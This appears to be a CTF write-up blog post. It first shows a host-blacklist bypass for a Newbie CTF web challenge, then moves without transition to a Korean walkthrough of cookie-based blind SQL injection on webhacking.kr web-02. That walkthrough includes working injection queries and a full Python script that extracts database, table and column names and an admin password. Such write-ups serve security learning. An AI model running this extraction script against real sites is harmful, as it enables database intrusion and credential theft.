I prefer web hacking challenges, so at the first I tried web problem.
There was only one web challenge.
When I clicked link, I can see a just simple single page.
There is nothing interesting, although I inspect the html source code.
We should enter the "normalflag.iwinv.net" link, via the page shown above.
I tried to enter the "normalflag.iwinv.net" link directly, and saw that warning documents.
I just typed the target host domain on the gate page,
the alert modal appeared, I assume the host string is blacklisted.
I analysis the http packet with burp suite.
When I typed "naver.com" to hostname field,
the http request is like that.
response code is 302 redirection with some tailing "?secret=" query parameter.
I just concatenate the target host with that secret parameter, and try to connect directly,
They said, it is not intended solving direction. Whenever we enter the host, the secret parameter value changes. So, I assume the secret parameter is a kind of one time ticket with randomly created.
I tried more with some url fragment(#123 like that) or tailng path like host.com/blur/blur but it doesn't work.
When I concatenated port number :80 to the target hostname, it looks working!
I got the flag!!
한글 풀이
Newbie CTF라는게 있길래 참여해봤다.
한국팀 주최 대회였다.
웹쟁이 답게 웹 문제부터 확인을 했는데, 한문제 밖에 없어서 조금 아쉽..
링크로 들어가면 간단한 페이지가 하나 나온다.
소스보기를 봐도 별 다른건 없는듯.
normalflag.iwinv.net라는 링크를 들어가야하는데, 저 페이지를 통해서 들어가야 하는 듯 하다.
그냥 링크로 들어가니 저런 경고문이 뜬다.
그렇다고 그냥 링크를 치고 들어가려니,
호스트가 필터링 된 듯.
원리가 어떤식인가 싶어서 버프슈트를 한번 잡아보았다.
네이버로 해서 잡아보니,
요런 요청이 가고,
302응답으로 Redirection이 되는데, 뒤에 ?secret=라는 파라메터가 붙어서 온다.
저기있는 secret을 띠어서 flag url에 박아서 보내보니
의도된 풀이가 아니라고 한다. secret이 요청 때 마다 바뀌는 걸로 봐서, 그때그때 발급하는 티켓 같은 방식인 것으로 보인다.
쿠키 time값을 이용한 Blind sqli로 추정. True값이 09:00:01이고 False값이 09:00:00인 것으로 보인다.
대충 쿼리가 SELECT FROM_UNIXTIME({내가 보낸 쿠키 time 값}) 과 같은 방식일 것으로 예상된다.
일단 DB명도 모르기 때문에, information_schema로 찾아때려야 하는데,
select FROM_UNIXTIME(157102695 and IF((select LENGTH(table_schema) from information_schema.tables group by table_schema limit 7,1) > 0,1,0))
대충 요런 식으로 db개수를 알아내보자. 마지막에 limit으로 확인을 할 수 있다.
limit 1,1까지는 true가 나오고, limit 2,1부터는 false가 나온다.
즉 db개수는 2개이다.
그리고 첫번째 db의 이름의 길이는 6이다.
두번째 db길이는 18인걸로 봐서는 information_schema인듯
select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1
1번째 디비 이름의 3번째 글자 아스키값 리턴을 하는 쿼리이다.
이런식으로 글자 하나하나씩 알아내어 db이름을 알아낼 수가 있다.
select FROM_UNIXTIME(157102695 and IF((select ascii(substr(table_schema, 3,1)) from information_schema.tables group by table_schema limit 0,1) > 102,1,0))
위 쿼리는 1번째 디비 3번째 아스키값은 102보다 크다? 라는 쿼리이다.
쿼리로 알아내면 db 이름은 chall2이다.
이제 테이블 명을 알아내야하는데,
select if((select length(table_name) from information_schema.tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0)
여기에 if구문 앞에 and만 붙여서 쿼리로 넣으면 된다. 마지막 limit뒤에 0 숫자를 바꿔서 테이블 개수를 알아낼수가 있다.
chall2의 테이블의 개수는 2개이다.
이제 테이블 이름의 길이와 이름을 알아내야 한다.... 노가다!!
select FROM_UNIXTIME(157102695 and if((select length(table_name) from tables where table_schema="new_schema" group by table_name limit 0,1) > 0, 1, 0))
첫번째 테이블의 이름은 길이가 13이다.
두번째 테이블의 이름은 길이가 3이다.
이제 한땀한땀 글자를 알아내야한다.
첫 테이블이름은 admin_area_pw
두번째는 log이다.
admin_area_pw의 컬럼은 1개뿐이다. 컬럼 길이는 2이다.
컬럼 이름은 pw이다.
pw의 row값은 길이가 17이다.
마지막으로 pw의 값 또한 위에서 db이름과 테이블 이름을 알아낸것 처럼 한땀 한땀 blind sqli로 알아내면 된다.
#!/usr/bin/env python
import urllib2
import urllib
url = "https://webhacking.kr/challenge/web-02/"
cookie = "PHPSESSID=j1gqc4lopk8ge3331ehiq9shhf; time=1571026965 "
ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36"
truePhrase = "2070-01-01 09:00:01"
def query(payload):
ccookie = cookie + urllib2.quote(payload)
req = urllib2.Request(url)
req.add_header('cookie', ccookie)
req.add_header("User-Agent", ua)
res = urllib2.urlopen(req)
content = res.read()
# print ccookie
# print content
return truePhrase in content
def find_db_name_len(db_index):
left = 0
right = 200
# range (left, right]
while left + 1 < right:
mid = (left+right)//2
print "{}, {}, {}".format(left, mid, right)
payload = "and if((select length(table_schema) from information_schema.tables group by table_schema limit {},1) > {}, 1, 0)".format(db_index, mid)
if query(payload):
left = mid
else:
right = mid
return right
def find_db_name(db_index):
if db_index == 1:
return "chall2"
# db_name_len = find_db_name_len(db_index)
db_name_len = 6
db_name = ""
for pos in range(1, db_name_len+1):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
print "{}, {}, {}".format(left, mid, right)
payload = "and if((select ascii(substr(table_schema,{},1)) from information_schema.tables group by table_schema limit {},1)>{},1,0)".format(pos, db_index, mid)
if query(payload):
left = mid
else:
right = mid
db_name += chr(right)
return db_name
# print find_db_name(0)
def find_table_name_length(db_name, table_index):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select length(table_name) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(db_name, table_index, mid)
if query(payload):
left = mid
else:
right = mid
return right
# print find_table_name_length('chall2', 0)
# print find_table_name_length('chall2', 1)
def find_table_name(db_name, table_index):
table_name_len = find_table_name_length(db_name, table_index)
table_name = ""
for pos in range(1, table_name_len + 1):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select ascii(substr(table_name,{},1)) from information_schema.tables where table_schema='{}' group by table_name limit {},1)>{},1,0)".format(pos, db_name, table_index, mid)
if query(payload):
left = mid
else:
right = mid
table_name += chr(right)
return table_name
# print find_table_name('chall2', 0)
# print find_table_name('chall2', 1)
def find_column_name(db_name, table_name):
col_name = ""
for pos in range(1, 3):
left = 0
right = 200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select ascii(substr(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' group by column_name limit 0,1)>{},1,0)".format(pos, db_name, table_name, mid)
if query(payload):
left = mid
else:
right = mid
col_name += chr(right)
return col_name
def find_pw():
pw = ""
for pos in range(1, 18):
left = 0
right =200
while left + 1 < right:
mid = (left+right)//2
payload = "and if((select ascii(substr(pw,{},1)) from chall2.admin_area_pw limit 1, 1)>{},1,0)".format(pos,mid)
if query(payload):
left = mid
else:
right = mid
pw += chr(right)
print chr(right)
return pw
# print find_column_name("chall2", "admin_area_pw")
print find_pw()